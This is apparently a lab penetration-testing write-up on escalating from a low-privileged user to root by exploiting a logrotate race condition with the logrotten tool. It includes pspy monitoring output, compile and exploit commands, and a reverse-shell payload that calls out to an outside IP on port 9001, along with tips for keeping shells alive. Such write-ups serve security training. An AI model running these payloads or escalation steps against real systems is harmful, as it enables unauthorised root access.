Comprehensive Penetration Testing Report: Logrotate Privilege Escalation via logrotten

---

1. Executive Summary

This report details the successful execution of a local privilege escalation exploit against a vulnerable logrotate configuration on the target Ubuntu system. By leveraging a known race-condition vulnerability (logrotten) combined with precise terminal execution timing and automated behavior mapping via process monitoring (pspy64), low-privileged user account access (htb-student) was leveraged to execute commands as the root user (UID=0).

This document details the root causes of prior failures, the methodology used to trace background system triggers, the optimizations implemented for the payload framework, and the final exploit remediation paths.

2. Technical Vulnerability Context

The target machine runs an instance of logrotate that periodically processes logs. The configuration specifically relies on the create directive instead of handling rotation through sequential background archiving compression formats.

Because the target log directory /home/htb-student/backups/ allows full read/write permissions to the low-privileged htb-student user, a file system race condition exists. When logrotate initiates a rotation routine, logrotten detects the file modification step via inotify file system events. It quickly deletes the directory structure or logs and sets an administrative symbolic link pointing directly to /etc/bash_completion.d. When the root service performs file generation actions inside the directory, it unwittingly writes user-supplied script instructions into a global configuration profile that triggers upon interaction hooks.

3. Analysis of Prior Execution Failures

During initial verification stages, the exploitation pipeline stalled or dropped execution context due to three distinct bottlenecks:

- **Forward-Compatibility Dynamic Linker Error (GLIBC):** External cross-compilation on modern testing platforms linked library functions against GLIBC_2.34, throwing missing function reference flags when executed on the target server.
- **Delayed Execution Tracking:** Running the exploit utility blindly required manual, uneven file updates to step past standard file system size evaluation checks without knowing when the underlying system cron engine evaluated configurations.
- **Dropped Core Shell Sessions:** Standard, ephemeral reverse shell commands (bash -i >& /dev/tcp/...) failed to drop permanent listener sessions. Since logrotate spawns short-lived worker threads that execute for fractional periods before exiting, any shell process launched in-line with the thread tree died instantly when the parent rotation process completed its runtime block.

4. Remediation & Successful Execution Methodology

Step 1: Process Snooping and Interval Mapping (pspy64)

To accurately map out the automated engine driving the root tasks, the static process scanning binary pspy64 was uploaded to the machine via Secure Copy Protocol (scp). Monitoring active background processes exposed an aggressive administrative task runner:

```
2026/06/26 09:17:55 CMD: UID=0 | /usr/sbin/logrotate -f /root/log.cfg
2026/06/26 09:18:10 CMD: UID=0 | /usr/sbin/logrotate -f /root/log.cfg
2026/06/26 09:18:21 CMD: UID=0 | /usr/sbin/logrotate -f /root/log.cfg
```

Discovery Value: pspy64 confirmed that the root user was executing logrotate on an aggressive **5-second loop** using a custom configuration layout (/root/log.cfg). This eliminated timing guesswork and provided an exact operational window.

Step 2: Native C-Compilation

The source file logrotten.c was placed inside the accessible /tmp folder and compiled directly on the target machine to guarantee full library linkage compatibility with the older architecture:

```
gcc logrotten.c -o logrotten
```

Step 3: Session Persistence Optimization (setsid)

To prevent the reverse shell from being prematurely closed when logrotate terminated its process tree, a shell session isolation format was wrapped around the payload script. Using setsid forces the shell program into a completely new, independent session leader block detached from the parent worker thread:

```
echo '(setsid bash -i >& /dev/tcp/10.10.15.154/9001 0>&1 &)' > payload
chmod +x payload
```

Step 4: Compound Command Injection & Exploit Triggering

Because the root task cycled every 5 seconds, running a standalone exploit script manually risked missing the timing window required to intercept the rotation check. To guarantee synchronization, a compound script execution layout was created using the semi-colon command chain operator (;). This forces an immediate structural state modification right before triggering logrotten:

```
cp /home/htb-student/backups/access.log.1 /home/htb-student/backups/access.log;
./logrotten -p ./payload /home/htb-student/backups/access.log
```

Exploit Output:

```
Waiting for rotating /home/htb-student/backups/access.log...
Renamed /home/htb-student/backups with /home/htb-student/backups2 and created symlink
to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
```

5. Summary of Findings & Key Takeaways

- **Asynchronous Automation Mapping:** Using passive execution monitors like pspy64 is vital when dealing with custom labs or production environments where core services don't match typical daily or hourly timing schedules.
- **Parent-Child Process Lifecycles:** When writing payloads meant to fire from system utilities, always detach standard shell routines via process backgrounding (&) or session isolation utilities (setsid, nohup) to guarantee persistence past the lifespans of short-lived administrative worker tasks.

- **Atomic Pipeline Execution:** Combining configuration changes and exploit initiation into a single execution stream ensures race-condition triggers are reliably met before the system state shifts.